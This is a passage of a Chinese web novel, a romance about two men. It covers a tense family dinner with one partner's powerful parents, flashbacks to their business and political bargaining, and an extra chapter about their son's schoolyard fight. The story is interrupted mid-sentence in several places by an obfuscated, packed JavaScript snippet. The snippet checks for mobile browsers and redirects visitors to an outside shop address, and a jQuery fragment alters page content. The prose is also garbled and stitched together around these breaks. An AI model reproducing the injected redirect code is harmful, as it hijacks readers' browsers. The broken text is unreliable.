“定制套装也给您安排了一套。裁缝明早上门为您量尺寸。” 迟了了抬了抬下巴,硬邦邦: “我有西装。” “我知道。”裴与驰点头,语气很平,“今晚那套十分衬您。” 迟了了:“……” 裴与驰把话收得很周到: “定制那套当备用。您觉得没必要,就不做。” 迟了了盯了他两秒,最后丢出三个字: “……看着办。” 最后,裴与驰礼数做足,送到门口后站定,微微颔首: “叔叔阿姨,晚安。” 林苹苹已经把徕卡盒子打开一条缝,像怕它跑了,头也不抬地纠正: “叫什么阿姨,叫妈咪。” 迟铎:“……” 裴与驰从善如流: “妈咪,晚安。” 然后他转向迟了了: “叔叔,晚安。” 礼数周全,连多余一个字都没有。 迟了了:“……” 他松了一口气。 下一秒又觉得不该松,导致现在心里有点空。 偏偏裴与驰人一走,林苹苹就笑眯眯补刀: “怎么了?还在回味那句‘叔叔’啊?” 伤肝第一名,还得林苹苹。五星上将麦克阿瑟如是说。 迟铎刚看完裴与驰的热闹,现世报就到了——轮到他丑媳妇见公婆。 裴与驰到门外的时候,迟铎还在镜子前跟领带僵持。 他这辈子跟领带的交集,基本止步于高中:被学校勒了几年,毕业就彻底断交。亚比潮男更信 choker——勒出风采,勒出艺术。 但今天不行。 头发染回黑色,用的植物染剂。左耳那两颗大钻也摘了,摘完才发现耳朵轻得过分,像把底气卸下来两斤,顺手把嚣张也卸了。 全套黑西装上身,衬衫袖口还别着某牌新出的子弹袖扣。 定制来不及,他只能走捷径:连夜翻 Vanity Fair 的版面,照着抄了一套 Dior 的正装。怕自己用力过猛,还把在国外做男装设计的老同学拉出来远程审稿。 对方看完,恭喜他要去港交所敲钟。 门铃响的时候,他的领带还歪着。 迟铎按住想把领带扯下来的冲动,开门。 裴与驰站在门外,目光落到迟铎身上,停了一会儿。 迟铎已经把“恼羞成怒”四个字在心里按了快捷键。 裴与驰没笑,只很轻地问: “你把耳钉摘了?” 迟铎面不改色: “嗯。今天不合适。” 他说完觉得还不够体面,又补一句: “见你父母,太高调。” 裴与驰看着他,像真在心里认真评估了下,最后给出结论: “你对‘高调’的理解挺朴素。” 迟铎:“……” 他把门往里一让,回头继续和领带搏斗。 刚扯到一半,后领忽然一紧——人被从背后拽了一下,顺势转了过去。 裴与驰站在他面前,影子把他罩住了。 迟铎一抬眼,视线先撞上对方衬衫领口和领带结,往上才是那双眼睛。再近半步,几乎就是拥抱。 裴与驰没说话,只垂着眼看他。 与从前相似的眼神,却多了点不讲道理的东西:欲念,和独占欲。 迟铎明明站得挺直,还是莫名有种被逼到墙角的错觉。 他喉咙发紧,脸上的热度一点点往上蹿。 本来想提醒一句“今天很重要,不能迟到”,话到了嘴边又被那眼神按回去。 每次都这样。 只要裴与驰这么看他,他就说不出话。 裴与驰抬手,指腹从他领口掠过,停在喉结旁边,轻轻压了一下。 迟铎下意识吞咽,连声音也一起吞了。 然后才是领带。 裴与驰把它捋直,绕过、压平、收紧。动作利落,却慢条斯理,慢到让人没法装没感觉。 领带一点点成形。结打好,裴与驰没有立刻退开。 他低头看了看,又抬眼把迟铎从头到尾扫了一遍。 视线落过领口、落过喉结,最后停在嘴唇上,停得很短,却足够让人心里发麻。 然后他笑了。 不是嘲弄,也不是那种很官方的笑。 很短,像忽然没忍住。 偏偏帅得犯规。 迟铎一时找不到词,只能在心里很不情愿地承认:这人笑起来真的有点帅的过分。 随即又骂自己:这几天是不是翻男装杂志翻傻了,怎么突然男同得这么彻底? 他硬把视线移开,装得很凶:“你笑什么?” 裴与驰:“看得出来你很上心。” 他顿了顿,声音低下来,“我很高兴。” 又补了一句,轻得像随口,却把人钉在原地: “老婆。” 迟铎:“……” 他张了张嘴,先卡住,最后才找回一点气势: “你别乱叫。” 话音落下,他才发现自己牙齿不自觉咬住了嘴唇。 到了车流,车速一降,时间就被拉长了。 裴与驰握着方向盘,面上不显任何焦躁,指尖还在方向盘上敲拍子。 迟铎却坐立不安,鞋尖在脚垫上点了两下,又立刻收住,手指还去扯安全带边缘,装作自己只是“随便整理一下”。 裴与驰目光看向旁边,语气淡淡的,像随口问天气:“这么怕见公婆吗?” 迟铎:“……” 他本来想说“谁怕了”,话到嘴边又觉得没必要。 怕不怕都是事实,他爸妈强势又难搞,对他儿子也这样。 他只抬了抬下巴:“你少得意。” 裴与驰见好就收,视线落回前方。 车窗外的红尾灯一格一格往前挪,像人把时间掰碎了数。 迟铎忽然想起很久以前裴与驰的一次失联。 读大学时,两人忙起来有时也会回不了家,但都会给对方留个信,哪怕一句“不回来了”。 裴与驰从来不让迟铎找不到他,迟铎也是。 可那天,电话不接,短信不回,连“已读”都没有。 凌晨三点,迟铎心里开始发凉。他没多想,拿了钥匙就往外走,从附近的 pub 一路找到裴与驰公司楼下。 夜里风很冷,楼下台阶也冷。 裴与驰就坐在自己基金公司门口的台阶上,背靠着罗马柱,像临时借了块地方落脚。 威士忌开着,万宝路也开着。袖口皱着,领口大开,表情很冷。 跟赛道日那次一模一样。 迟铎走过去,在他旁边坐下。台阶冰得要命,他没管。 他扫了一眼地上的瓶子,又看了看那盒万宝路,手指顿了顿,最后还是抽出一根。 他没问“怎么了”,也没问“你还好吗”。 废话问出口,只会更难受。 迟铎把烟叼在唇边,俯身去碰火,直接把烟头轻轻碰到裴与驰右手那根上。 两点火星一贴,亮了一下。 烟雾起来,迟铎才低声说: “你失联了。” 裴与驰“嗯”了一声,像把回应扔出来就算。 迟铎抬手,碰了下他手腕: “电话呢?” 裴与驰把手机递出来。屏幕黑着,像死物。 迟铎接过来,拇指一按,屏幕亮起。 通话记录一眼就能看见——最上面那条。 迟铎指尖忽然一紧。 “你爸?”他问。 裴与驰看着前方,过了很久才开口,声音平得像在背别人的台词: “让我关掉公司。回国。学校随便选。” 他顿了顿,又补,“理解一下。” “理解一下”四个字落在台阶上,轻得很,却让人胸口发闷。 迟铎沉默了一会儿,突然问: “今天是不是又出新闻稿了?” 裴与驰没否认。 那种默认,比“嗯”更难听。 迟铎想象得出来:报道写起“Bruce Pei”,总要顺手补一句“出身”“家族”“背景”。点到为止,偏偏最毒。 意思都写在空白里:钱是裴家的,路是裴家的。 可他偏偏不靠路。 量化吃市场波动,不吃人情往来。 裴谦之也知道。 可对手更知道:国外做金融的儿子,国内开公司的妻子——够写一整版“家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴与驰看了他一眼,问得像审讯:“想逛花市,还是想吃可露丽?” 迟铎周日从来都见不到太阳,但花市附近那家咖啡馆的可露丽被安利过太多次,裴与驰无奈当过好几回外卖员。 迟铎被看穿,懒得装:“都要。” 裴与驰点头:“你请。” 迟铎立刻反驳:“你请。” 裴与驰“嗯”了一声,顺便把条款写完整:“全天。” 回忆到这里,车流往前挪了一截。 迟铎回过神,才发现自己一直攥着指尖。 他不是怕见公婆。 他怕的是他们用同一种语气跟他说他们俩的事——像当年那句“理解一下”。 偏偏旁边那位当事人还很轻松。 裴与驰握着方向盘,神色依旧闲适,连跟车都跟得从容。 迟铎看着看着就起火——他怎么能这么像“不在乎”。 “你倒是挺放松。”迟铎开口,语气比自己想象的更冲。 他停了停,毫不客气: “你爸妈怎么样,你最清楚。” 裴与驰:“嗯。” 这一声“嗯”像默认,迟铎更气了,刚要再说—— 裴与驰却先开了口,语气很平静,像把一件早就处理完的事顺手放到台面上: “我提前谈过了。” 迟铎一怔。 裴与驰看着前方,补得更少,却更重: “做了交换。” “该谈的都谈好了。” “今天只有家宴。” 迟铎没吭声,指尖却松了一下又握得更紧,紧得掌心发疼。 “交换”“家宴”这两个词摆在一起,意思已经很明显。 有些话本来要被端上桌,但裴与驰改掉了菜单——不该上的,一道没有。 他本该松口气的。 偏偏眼角先热了。 不是感动。是心疼。 心疼的也不是现在,是很多年前在台阶上坐着的裴与驰。 他背靠着柱子,一副无家可归的样子——不像贵公子,倒像被世界放了鸽子。 威士忌、万宝路、皱掉的袖口、散开的领口,和一句轻飘飘的“理解一下”。 迟铎几乎是和他一起长大。 他太清楚那四个字有多轻——轻到装不下裴与驰的这些年。 都是出生就赢在起跑线的人。 别人把钱喝掉,他把钱投进去; 别人忙着亮相,他忙着盯盘; 屏幕常亮,眼睛发干; 策略改了又改,回测跑了又跑——第一笔钱,自己挣进来。 起跑线他当然有。 可他自己跑出来的那段路程,谁也替代不了。 迟铎盯着裴与驰握方向盘的手,忽然觉得嗓子堵得慌。 这感觉他体验过——失联那晚就有,只是那时候他把它当成了别的。 直到现在,车灯一闪,那点自欺像薄雾一样散开。 原来从头到尾都没变:他在心疼他。 迟铎抬手,拇指在眼角蹭了一下,动作很快。 然后他把声音放得很轻,很软: “今后,你有我。” 顿了顿,又补一句,几乎是含着气说的: “还有 baby。” 车仍陷在车流里。 裴与驰左手稳在方向盘上,右手却伸了过来;迟铎也没躲,反手把他握住,十指相扣,扣得很紧。 他们以前不是这样牵的。 十二年里更多是拽手腕、搭胳膊。 走夜路怕走散,挤地铁怕被冲开,过马路怕慢半拍。人潮一涌,裴与驰一伸手,迟铎就被他捞回来,顺势跟上,像默认的队形。 那时候他们管这叫默契,叫习惯,叫——别走丢。 直到今天,好友这层壳终于退场,惯性还在,落点却变了: 他们不再只是把对方“捞回来”,而是把主动手交出去,扣紧,扣一辈子。 迟铎这才明白。 爱意不是突然冒出来的。 只是他们同时把爱,叫成了“习惯”。叫了很多年。 现在陷在爱里面的不止两个人了—— 是三个。 16.家宴 裴宅是一栋独栋别墅。 不张扬,也谈不上奢华,灯光只开了必要的几处。院子打理得很整齐,看得出常有人照看,却不怎么住人。 管家迎上来,目光在两人那双相扣的手上,停了极短的一瞬。 他开口时,称呼在舌尖轻轻顿了顿,随即落下:“少爷,迟先生。先生和夫人在餐厅。” 裴与驰应了一声,带着迟铎往里走。 走廊地毯厚,脚步声被吞得干净,连同迟铎心里的紧张都被强行按了静音。 餐厅门推开时,沈经纬站在桌边看汤。 迟铎第一眼差点没认出来,她和他记忆里的沈阿姨不太一样。 大二那年,某次赛道日。 他们刚从车里下来,头盔夹在臂弯,赛车服拉链拉到一半,汗还没干,带着点狼狈就往车库外走。 车库外停着一辆黑色轿车,引擎没熄,尾灯在阴影里亮着。 车窗落到一半,沈经纬坐在后座。 黑色香奈儿套装配着一串澳白,头发利落地盘起,颈线干净而优雅。 她美得锋利,那双眼睛一抬,距离就顷刻拉开。 助理站在车门旁,低声提示:“沈董,五小时后飞纽约。” 沈经纬点头,没下车。 她的目光先落在裴与驰身上——从眉眼到衣领,停留不过几秒。 “跑得怎么样?”她问。 裴与驰:“还行。” 沈经纬“嗯”了一声,视线又压回他身上,像把那句“还行”里含着的水分掂了掂。 确认够了,她的目光才掠到迟铎,停得极短。 “你好。” 迟铎规规矩矩回:“您好。” 沈经纬没再说什么,也没再看他。 她抬手看表,像把这一趟写进日程里,最后落一句:“注意安全。” 车窗升上去,车门合上,声音很轻,黑色轿车从车库口滑出去,干净利落。 而现在,她站在餐桌旁。 卷发随意散在肩上,浅粉色丝质长裙顺着身形落下,线条柔美。 耳畔一点钻光掠过,却不张扬;那串大珍珠不见了,连同她从前外露的锋芒,也一并收回去了。 她仍低头看汤火:“坐吧。” 裴谦之坐在另一侧,白衬衫,袖扣扣得严,抬眼示意:“坐。” 菜上来得很快。 清蒸、炖煮、白灼一类,油光很少,味道也淡。 汤温着。 桌面原本摆着酒杯,管家刚把水倒上,沈经纬抬手示意了一下,酒杯就被撤走了,换成温水和一盏淡茶。 裴与驰给迟铎夹菜,动作很自然。 饭桌很安静。 说话不多,筷子落下也很轻。 裴谦之吃得慢,忽然问:“睡得怎么样?” 迟铎下意识看向裴与驰。 裴与驰没替他答,只又夹了一筷。 迟铎才回:“还好。” 又补了一句:“谢谢您。” 裴谦之点头:“别熬夜。” 迟铎“好”字还没出来。 沈经纬淡淡接一句:“他熬也没用,你儿子不让。” 迟铎筷子顿了一下。 接下来的话题全是家常,天气、路况、食物,新闻。 沈经纬问:“胃口怎么样?” “还可以,谢谢阿姨。” 她“嗯”了一声,汤被换成更清的那种,热气不冲鼻。 裴谦之看了一眼:“别喝太烫。” 迟铎:“嗯,我会注意的。” 他应得乖,也稳。 菜吃到一半,话题落回裴与驰身上。 沈经纬把碗放稳,语气不急不缓: “他不太会说软话。” “很多时候看着冷,其实是闷着。” 她停了一下,像把话放轻: “以后辛苦你,多包容一下。” 这话说得很妥帖,甚至算得上亲近。 迟铎却忽然停住了。 “包容一下”四个字落下来,太轻了,轻得像某种熟悉的收尾。 他本来是来点头的。 来表现得乖一点,温顺一点,别给裴与驰添麻烦。 可那口憋着的气,偏偏在这一刻顶上来。 “伯父,阿姨。” 声音不大,却很清楚。 “裴与驰是我见过,最难得的那种人。” 话落下,桌上静了静。 “能这样的人,不多。” 他停了停,像那句话在喉咙里绕了很多年,终于出来了: “他让人骄傲。” 沈经纬看着他,眼神定了定,思绪却顺着目光回到了之前。 几天前。 沈经纬办公室。 她西装未脱,头发盘起,珍珠压在锁骨上,指间夹着一截雪茄。 屏幕最上面摊着一排外媒标题,措辞看似专业又客观,落下去却总绕到同几个词上。 裴与驰走进来,站在桌前。 “我等下有会。”沈经纬头也不抬。 “我要结婚。” 滑动屏幕的动作停住。 他补充:“不是计划,” “是通知。” 沈经纬把电脑往旁边一推,抬眼看他: “你看见这些了?” “嗯。”裴与驰答得很快。 “权力家庭,海外基金,资金外流。”她念出关键词,“每一条都意有所指。” 裴与驰点头,开口:“所以沈家的钱,不进我这边。” 沈经纬没发火,只抬手敲了敲桌面,节奏很轻。 “你的基金记录很稳。” “表现也够好。” 她没把后半句说出来。 桌面上那几行标题却把它补全了——好到不该浪费,好到她本来就该顺势进来。 “你以前拒绝我,给的理由绕不过合规和风险。” “现在连他们都替你背书了。”她视线扫过屏幕,“你还是拒绝我。” 沈经纬停了一秒,像给他把路都铺好,又把路口堵住:“理由呢?” 她没把答案说出来,但那两个字已经在空气里。 裴与驰也没绕圈子。 “你进来,募资人名单一出来,就会有人写。” 他顿了顿,随手起了一个标题:“《离岸基金与在岸权力:财富的新观感问题》。” 很纽约时报的风格。 沈经纬沉默了几秒,她把雪茄放进烟灰缸,抬手按铃。 助理进来,她没抬眼:“把会往后推。” “多久?” “二十分钟。” 门关上,办公室更静。 沈经纬没有再开口,她在等。 裴与驰那只基金,放在市场上,是谁都会想要的投资标的。 沈经纬当然也想——那是她儿子。 可她同样清楚,一旦踩错一步,伤到的就不只是生意。 她要的是一个办法:既不把裴谦之推到风口上,也不让沈家的钱停在原地。 裴与驰当然懂。 “另起一只。” “名单干净。” 他把手机放到她桌面上,屏幕亮起,是一份计划书,页数长得没有尽头。 沈经纬低头看了几秒,手指往下滑。 回测窗口、风险跟踪、交易记录……时间轴被拉得很长。 有些地方明显推翻过:旧逻辑整段删掉,参数重跑,记录一条条接上去。 不是临时起意能堆出来的东西。几处版本时间戳停在凌晨三点,天亮前又被推翻重跑。 整个策略曲线十分漂亮,回撤被压得很窄,收益却稳稳往上走。 裴与驰没多说,只给出方案:“你想要的,我给你做了一只。” 沈经纬抬眼看他。 这一刻沈经纬才意识到,儿子已经很久没再跟她讲道理了,不再争吵也不再说服。 他只给方案,只给结果。利弊、责任、退路都算进去了。 像她,也像裴谦之。 然后她点头。 “钱不进你现在那只。”她说,“按你的来。” 她本可以到此为止,却还是停了一瞬,声音低了半分: “真出事,我给你兜底。” 话出口得太快,快得不像她。 像某个很久不用的身份,忽然自己露了头。 她顿了顿,像把那一下收回去,抬手按铃:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906114|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那顿饭,只会是家宴。” 同一天晚上,裴谦之书房。 “你妈跟我说了。” 裴与驰:“嗯。” 裴谦之抬眼:“你知道这意味着什么吗?” 裴与驰没接话。 裴谦之把话接着往下讲,语气冷静,责问却加重: “你那摊子本来就敏感。” “再加上这个,你还要给人递多少把柄?” 裴与驰抬眼,直视他,声音不高: “不是把柄。” “是投名状。” 裴谦之眉头几不可察地动了动。 裴与驰继续,语速不慢,内容却明显深思熟虑过: “一个自断前程的儿子,是最有价值的筹码。” “污点在我,不在你。” 他顿了顿,给出结论: “你上去,坐几年,各方都能接受。” 书房里安静了一瞬。 裴谦之盯着他,半晌才说:“你现在倒是会算账了。” 裴与驰没应。 裴谦之指节在桌面上敲了一下,又停住。 像有句话到了嘴边,被他自己按回去。 隔了片刻,他把视线移开,声音低下来: “其实,你比我想的,更适合走那条路。” 这句落下,他自己也没再往下说。 裴与驰点了下头,没有接话,转身离开。 门合上,很轻。 裴谦之没动。 他的目光跟着那道背影走到门口,停住。 裴家向来是这么养儿子的:不哄、不留退路,让人自己学会怎么扛。 他一直觉得这是对的,直到这一刻,那点确信忽然松了一下。 回忆结束,沈经纬很快回神。 她没附和也没反驳,只轻轻点了下头,然后把一道菜往迟铎这边挪了一点。 裴谦之夹着菜,淡淡一句:“吃吧。” 家宴散得很快。 沈经纬起身时,卷发轻轻扫过肩头,淡淡的玫瑰味。她语气温和:“路上慢点。” 裴谦之只说:“到家报平安。” 裴与驰应了一声:“嗯。” 车门关上,世界安静下来,车开出裴宅,灯影被甩在身后。 迟铎靠在座椅里,像是还没从这顿家宴里回过神。 那句话落下,他自己先怔了一下。 憋在心里好几年的那口气,忽然有了去处。 台阶很冷的那个夜晚, 悬而未落的指尖, 盘桓在喉咙里的话语。 world’s a mess,you are the best。 操蛋的世界里,我心里你是最好的。 不管中文还是英文,当时都说不出口。 太直白了,而兄弟之间得留点白。 于是用玩笑,用插科打诨,把这句话,藏进别的句子里。 可今天不一样。 车里很安静,只有转向灯的哒哒声,一下一下。 裴与驰忽然开口,语气很淡: “我不在意。” 对刚才餐桌上的回应。 迟铎一怔,侧头看他。 裴与驰目视前方,又补了一句: “在我有爱的人之后。” 顿了顿,像是觉得还不够准确: “我所有注意力,都给你。” “也只会给你。” 迟铎:“……” 他一时找不回自己的声音。 裴与驰没等他:“以后这种场合,会多的。” 迟铎只来得及“嗯”了一声。 裴与驰又补一句:“你不用学他们。” 迟铎看着他,终于找回了声音:“那学什么?” 裴与驰目视前方:“做你自己就好。” 迟铎笑了一下,笑得很轻。 “我挺烦人的。”他说。 裴与驰“嗯”了一声:“我知道。” 迟铎气笑了:“你还嗯。” 裴与驰这才侧头看他一眼:“但我喜欢。” 迟铎:“……” 妈的。 他今天真的帅得让人招架不住。 17.叫家长(番外)[番外] “什么?” 电话打进来的时候,迟铎还在片场。 他刚拍完一条戏:杀了人,转头去买两餸饭。 镜头里他端着饭盒站在狭窄昏暗的旧楼下,眼神阴冷、外套拉得很低,看上去像在等做楼凤的女友下班的穷小子,而不是刚刚在镜头前利落抹人脖子的连环杀手。 镜头外,助理李浩一路小跑冲过来,面色凝重。 “哥,学校。” 迟铎心口一紧,接过手机。 他接得很快。 老师语速也很快,像在背诵应急预案:“您好,迟先生吗?Ethan 在学校和同学发生了冲突,目前确认双方都是皮外伤,但需要家长尽快来一趟。” 迟铎:“……” 互殴。挂彩。 这些词贴在 Ethan 身上,荒唐得像贴错了标签。 “我马上到。”他只回了这一句。 挂断,他直接转身。 “导演,抱歉,我今天家里有事得先走。我那部分我找时间补,缺的我全补上。” 不等导演反应,人已从监视器旁消失。 导演抬手挥了挥,十分懂事地对着空气说:“行行行,去吧。” 迟铎敬业又随和,非必要不请假,大家都能理解。 更重要的是,在这个捧高踩低的圈里,谁没事给裴太找不痛快? 卸妆、换衣、一气呵成。 上车后,迟铎一边示意李浩开快点,一边给裴与驰拨了电话。 电话没第一时间接通。 接通时,对面环境很安静,安静到像是刚有人被当众点名处刑完。 裴与驰只扔出来一个字。 “说。” 短、冷,还带着没收住的火气。 迟铎默默替儿子默哀了一秒:早不互殴晚不互殴,偏挑你爸心情不好的时候。 “出事了。”迟铎说。 “谁?”那边问。 “你儿子。”迟铎停顿半秒,“在学校跟人互殴。” 那边安静了一瞬。 像火气被硬生生掐住,掐住不等于没了,只是换了个方向。 “我马上到。” 电话断得干脆。 裴与驰那边确实在开年终会议。 他正一个部门一个部门审核过去,骂人的语言十分博大精深。秘书硬着头皮递电话时,全场目光集体钉死桌面,生怕跟老板对上眼。 能在这种会议里进电话的,只有一种可能。 家人。 裴与驰接完,站起身。 “会议暂停。” 炮火中得以暂时苟活的一半部门负责人差点当场合十:谢谢夫人,小的这就去买您帅气的杂志聊表谢意。 但他们不知道,该感谢的是小裴总。 迟铎赶到校长办公室时,已经快十二点。 推门进去,裴与驰已经在里面。 他坐在椅子上,西装笔挺,扣子解开一颗,脸臭得不行。 迟铎看一眼就知道儿子今天要糟。 他立刻收敛成贤内助模式,默默坐到裴与驰旁边,安静如鹌鹑。 校长和班主任看见他俩,先是肉眼可见松了口气:人来了,流程能走。 下一秒又肉眼可见更紧张:因为这对家长组合,每次凑齐都很震撼。 一个冷脸西装男,坐在那里像校董视察; 一个亚比潮男,衣服像刚从工地滚过一圈。 两个人一左一右坐着,校长只能在心里默念:我们国际学校最重视 diversity。 对面那对家长就“正常”得多。 女士温婉,男士绅士,笑容得体,特别符合招生手册里“理想家庭画像”。 家长到齐。 剩下就是两位惹事精登场。 小冷脸男还好。 右脸挂了彩,几道细细红痕像指甲刮的。他站在墙边,站得笔直,手垂在身侧,一副我没错的样子。 另一个小男孩可就惨了。 手臂一片青紫,嘴角也红着,贴着创可贴,整个人像被按在地上滚过。 学校电话里说“互殴”,还第一时间送医确认“都是皮外伤”。 但迟铎看完,心里先给自家孩子下结论:单方面殴打。 他忍不住偷瞄裴与驰一眼。 裴与驰没看任何人。只盯着儿子。 对面那位男家长先开口打圆场,态度熟稔得像认识好多年:“裴总,小孩玩闹嘛,也没什么大事。” 明显认识,或者单方面认识。也明显想把事大事化小,小事化了,顺便和裴总结个善缘。 裴与驰没接。连“嗯”都懒得给。 他只问儿子两个字。 “理由。” 小冷脸男把头偏到一边,刚好把挂彩那面露出来。 很会用脸求情。 他妈看着,觉得确实可怜。 迟铎心软了一下。 软完才想起:这孩子平时就靠这张脸行凶。 小冷脸男终于开口,声音不大,却很清晰: “他说我没妈。” 办公室静了一秒。 校长和班主任像被雷劈了一下,脑子里已经开始排队:歧视、不当言论、家长投诉、舆情…… 迟铎当场把“单方面殴打”的判决撤回。 这至少是互殴。 甚至可以算正当防卫。 他先看了儿子一眼,又抬眼看向对面小男孩胸牌。 “Chris小同学,”迟铎语气温和,“你为什么这么说呢?” 小男孩脸涨红,急着解释:“我爸妈说……你们家只有两个男人。” “我不是骂他,我就是……他没有妈妈嘛。” 话刚说完,小冷脸男就应激了。 他抬眼,冷冷盯着对方:“你再咒我妈咪?” 停半秒,像在给对方最后一次机会。 然后把后半句补上:“那我们继续。” 说完还真往前迈一步,准备开第二局。 “Ethan。”裴与驰开口。 小冷脸男脚步一顿,停住了。 他撇了撇嘴,听着老爸那语气,心里已经在算自己要写多少字检讨。 迟铎把视线扫回对面那对父母。 女士的表情已经难看得绷不住。男士还在笑,笑得体面,手却牢牢按在太太手背上,像在提醒:先别开口。 迟铎没接他们的戏。 他把注意力放回Chris,声音放轻一点: “谁在做妈妈会做的事,谁就是妈妈。” 说着,他把口罩往下拉了点,露出下半张脸,笑了一下: “比如我。” “我就是Ethan的妈妈。” Chris怔住,那句“只有两个男人”的气势瞬间没了。 小冷脸男在旁边冷着脸补一句,特别认真: “而且那句很不吉利。” 迟铎顺着儿子点头: “对,所以以后别这么说。” Chris终于回过神,脸红得快烧起来,小声:“对不起。” 迟铎点头:“真乖。” 他转身走到儿子面前,从口袋里摸出酒精湿巾和创可贴。动作熟练得像本能。 “手。”他低声说。 小冷脸男刚才还一副“谁都别碰我”的姿态,这会儿却很配合地把手抬起来。 迟铎擦完那几道红痕,又贴了两条创可贴。贴得很仔细,指腹还在边缘轻轻按了按,像怕它翘起来。 贴完,他声音更轻: “下次不许打架。” “你受伤,妈咪会心疼。” 小冷脸男抿着唇,没吭声。 但炸开的毛明显垂了下来,等着妈咪梳顺。 他忽然又想起什么,转头看了Chris一眼,态度很高傲,语气很理所当然: “没关系。” 迟铎:“……” 他侧头看裴与驰一眼。 这小孩说“没关系”的样子,和裴与驰一模一样。那种“你当然该道歉”的理直气壮,连眼皮都懒得多抬一下。 他作为家属看着都火大。更别说被他们这样对上的人。 迟铎都不敢带入,生怕一不小心气死自己。 母慈子孝归母慈子孝。 小冷脸男还是没躲过老爸那点余火。 裴与驰这才出声: “你也不对。” “别人说错话,你不能用拳头改口径。” 小冷脸男抬眼:“那我怎么办?” 裴与驰:“道歉。” 小冷脸男:“对不起。” 话说得很快。 但身位没动,眼神也没对上该对上的人。像完成流程,不像道歉。 裴与驰:“检讨。” 小冷脸男皱眉:“多少?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919545|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴与驰:“五百。” 校长和班主任同时一怔:一年级,五百字。 裴与驰补一句:“中英。” 迟铎:“……” 他忽然万分后悔自己以前随口吐槽裴与驰将来会揠苗助长。 现在看来哪是揠苗助长。 这是直接把孩子薅成长颈鹿。 一直忍到出了校长办公室,走廊里人来人往。 迟铎牵着小冷脸男往停车场走,越走越憋,终于没憋住,压着声音开喷: “你差不多得了。” 裴与驰侧头看他一眼,没说话。 迟铎火蹭一下上来:“他受伤了!受伤了!受伤了!” 裴与驰:“所以更要记住。” 迟铎:“他脸都花了!” 裴与驰:“不影响写字。” “受伤是结果。” “动手是原因。” “原因不改,下次更疼。” 迟铎:“……” 这话确实有道理。 但看着挂彩的儿子,迟铎就是烦。烦得一路回家都在心里翻来覆去:谁家一年级写五百字中英?谁家? 一进门,裴与驰连外套都没脱利索,就抬手把耳机戴上。脚步没停,像把会议一把拽回现场。 “继续。”他对着耳机说。 迟铎:“……” 这人真是。骂完儿子不耽误继续骂员工。 裴与驰顺手把笔电放到茶几上,屏幕一亮,会议窗口铺满。 他坐下之前,视线还在儿子脸上的创可贴上停了一瞬。 “洗手。消毒。书房。” 小冷脸男冷着脸照做。 迟铎立马跟上去,步子迈得比儿子还快。 裴与驰制止:“你别进去。” 迟铎:“我监工。” 裴与驰点头:“你会代写。” 迟铎:“?” 裴与驰把耳机按了一下,凑近一点,像跟他讲悄悄话: “你要是真忍得住不写,进去也行。” 迟铎:“……” 他被迫坐回客厅,陪大冷脸男远程开会。 书房那边安静得要命,只剩笔尖划纸的声音,隔着门都能听见。 过了会儿,小冷脸男合上本子出来。 “写完了。” 裴与驰没抬头,伸手:“给我。” 小冷脸男递过去,递得很干脆。 裴与驰扫了两眼,合上:“行。” 迟铎立刻凑过去:“我看看。” 裴与驰抬手把本子往身后一挡。 “不用看。” 迟铎:“?” 裴与驰侧头看他一眼,语气平常得很: “你会夸。” “他会得寸进尺。” 迟铎:“……” 小冷脸男站在旁边,面无表情。 耳朵尖却红了一点点,红得很克制。 裴与驰把本子放回包里,丢下一句: “奖励发放。” 迟铎下意识问:“什么奖励?” 裴与驰没回答。 他掏出手机,按了两下。 三分钟后,门铃响了。 门一开,推车进来一只巨大的木箱。 迟铎扫到侧面那行字,眼皮一跳:AMR-C01。 迟铎:“……” 他回头,用气声:“你现在买的?” 这玩意儿能秒买秒送? 裴与驰:“不是。” “半年后他的生日礼物。” “刚好到。” 迟铎:“……” 他盯着那箱子,脑子里只剩一句:你这甜枣也太超前了。 前脚五百字中英检讨,后脚把半年后的礼物砸下来。 巴掌过狠,甜枣过甜。 他压着嗓子:“刚好到你就刚好发?” “你就不能忍一忍?” 停了停,又没忍住: “你是顺丰到付吗?这么急。” 小冷脸男眼睛亮得很明显。 但他还装作不在意,就站那儿看,看工作人员拆包装、安装,仿佛和他没关系。 迟铎看得心很软,软完又很烦,烦得要命。 他继续小声问裴与驰:“那他生日你送什么?” 裴与驰想都没想: “看他表现。” 迟铎:“……” 18.停工 综艺进入尾声,节奏反而慢了下来。 迟铎的生活却被压缩得很紧。 医院、片场、片场附近那套住宅,每天三点一线,循环往复,堪比坐监。 每天早上,裴与驰送他去医院,等检查做完,报告确认没问题,才把人送到片场门口。 车停稳,迟铎解开安全带。 裴与驰看着他:“我晚上过来接你。” 迟铎下意识要拒绝:“你不用……” 话没说完,就被捏了下脸颊。 “好好拍你的。” 通知式结尾。 迟铎:“……” 算了。 自己找的对象自己认。 综艺后半段,整个剧组明显开始放松,流程走完,镜头补齐,大家心态都放飞了不少,每天插科打诨,互聊八卦,气氛和谐得让人发毛。 除了迟铎。 裴与驰从家里空降了一位管家。 